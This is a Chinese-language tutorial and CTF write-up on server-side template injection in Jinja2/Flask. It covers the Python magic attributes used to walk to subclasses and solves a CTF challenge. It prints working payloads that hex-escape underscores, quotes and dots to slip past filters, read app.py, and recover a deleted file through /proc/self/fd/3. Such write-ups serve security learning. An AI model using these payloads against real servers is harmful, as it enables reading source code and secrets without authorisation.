漏洞简介
SSTI即服务端模版注入攻击。由于程序员代码编写不当,导致用户输入可以修改服务端模版的执行逻辑,从而造成XSS,任意文件读取,代码执行等一系列问题.
1. 几种常用于ssti的魔术方法
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用__builtins__ builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块
2.获取基类的几种方法
[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用或者
[].__class__.__bases__[0] //其他的类似
3.获取基本类的子类
[].__class__.__base__.__subclasses__()
ssti的主要目的就是从这么多的子类中找出可以利用的类(一般是指读写文件的类)加以利用。
jinja模板
在jinja2中,存在三种语法:
- 控制结构 {% %}
- 变量取值 {{ }}
jinja2模板中使用 {{ }} 语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等。 - 注释 {# #}
例题2:buu[pasecactf_2019]flask_ssti
ps:如果页面无法交互,是因为 原HTML文件应用的JQuery在线库连不上, 如果出现上述问题的话需要开启VPN或其他方法,保证能连接到在线JQuery库就能正常做题了。
先用{{2*3}}测试是不是存在ssti
说明存在ssti
然后发现单引号,下划线和点都被过滤了,这题就是要绕过这三
接下来寻找可以使用的基类
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()}}
读取app.py源码
{{"".__class__.__bases__[0].__subclasses__()[91].get_data(0,"app.py")}}
#等同于
{{""["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "app\x2Epy")}}
最后给一下大佬的payload
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}
原理: 由于flag最初是存放在文件中,后由app.py读取后删除了该文件,所以可以利用这一点访问/proc/self/fd/,在其中的3即使此前打开的flag文件。 需要注意的是proc/self/的特性,按照文中师傅的说法,我们采用cat去读取获取的时关于cat进程的信息,所以应该采用此前的Flask中的get_data函数,这样读取时获取到的是python进程的信息。